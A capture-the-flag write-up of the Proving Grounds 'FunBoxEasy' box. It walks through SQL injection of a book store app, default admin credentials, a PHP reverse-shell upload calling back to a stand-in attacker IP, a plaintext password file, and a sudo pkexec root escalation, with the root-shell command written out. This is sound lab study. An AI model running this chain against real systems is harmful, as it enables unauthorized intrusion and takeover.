FunBoxEasy Writeup - Proving Grounds
Created October 7, 2026 • Last updated October 7, 2026 • 3 min read
FunBoxEasy runs a book store web app with a SQL injection and default admin credentials. The admin panel allows a file upload, which lands a PHP reverse shell as www-data. A password file in a user's home gives SSH access as tony, whose sudo rights include several GTFOBins-exploitable binaries for root.
Reconnaissance
Nmap
Scan all TCP ports and fingerprint the services.
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 33060/tcp open mysqlx
Explain command
| -p- | Scan all 65535 TCP ports. |
| -sCV | Run the default scripts and probe service versions. |
SSH, HTTP and MySQL X. Brute force the web root for content.
Web enumeration
Enumerate directories.
/admin (Status: 301) # decoy /secret (Status: 301) # decoy /store (Status: 301)
Explain command
| -w | Wordlist to brute force with. |
The /store app has an admin login at /store/admin.php.
Exploitation
SQL injection and admin login
The book.php?bookisbn parameter is injectable. The admin login also accepts the default admin:admin, but the credentials can be dumped directly with sqlmap.
Database: store Table: admin +-------+--------------------------------------------------+ | name | pass | +-------+--------------------------------------------------+ | admin | d033e22ae348aeb5660fc2140aec35850c4da997 (admin) | +-------+--------------------------------------------------+
Explain command
| -D store --dump | Dump the store database tables. |
The admin hash cracks to admin. Log in to the store admin panel, which exposes an Add Book page with a file upload.
File upload to RCE
Upload a PHP reverse shell as the book image. The Publisher field must be a valid value such as Apress. Start a listener, then trigger the shell by browsing to /store/.
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] $ id uid=33(www-data) gid=33(www-data) groups=33(www-data)
Explain command
| -lvnp | Listen, verbose, no DNS resolution, on the given port. |
Shell as www-data. Enumerate home directories.
Privilege Escalation
Credential disclosure
A password file sits in tony's home directory.
ssh: $TONY_PASSWORD gym/admin: <redacted> /store: admin@admin.com admin
The ssh entry is tony's password. Log in over SSH.
tony@funbox3:~$ id uid=1000(tony) gid=1000(tony) groups=1000(tony),27(sudo),116(lxd)
Shell as tony. Check the sudo rights.
Sudo GTFOBins
tony may run a long list of binaries as root with no password.
User tony may run the following commands on funbox3:
(root) NOPASSWD: /usr/bin/pkexec
(root) NOPASSWD: /usr/bin/time
(root) NOPASSWD: /usr/bin/mtr
(root) NOPASSWD: /usr/bin/whois
(root) NOPASSWD: /usr/bin/finger
...
Several of these are GTFOBins-exploitable. pkexec (or time) spawns a root shell directly.
tony@funbox3:~$ sudo /usr/bin/pkexec /bin/sh # whoami root
The NOPASSWD pkexec runs /bin/sh as root, giving a root shell.
Related
References
-
Sudo pkexec spawns a root shell.
-
Sudo time runs an arbitrary binary as root.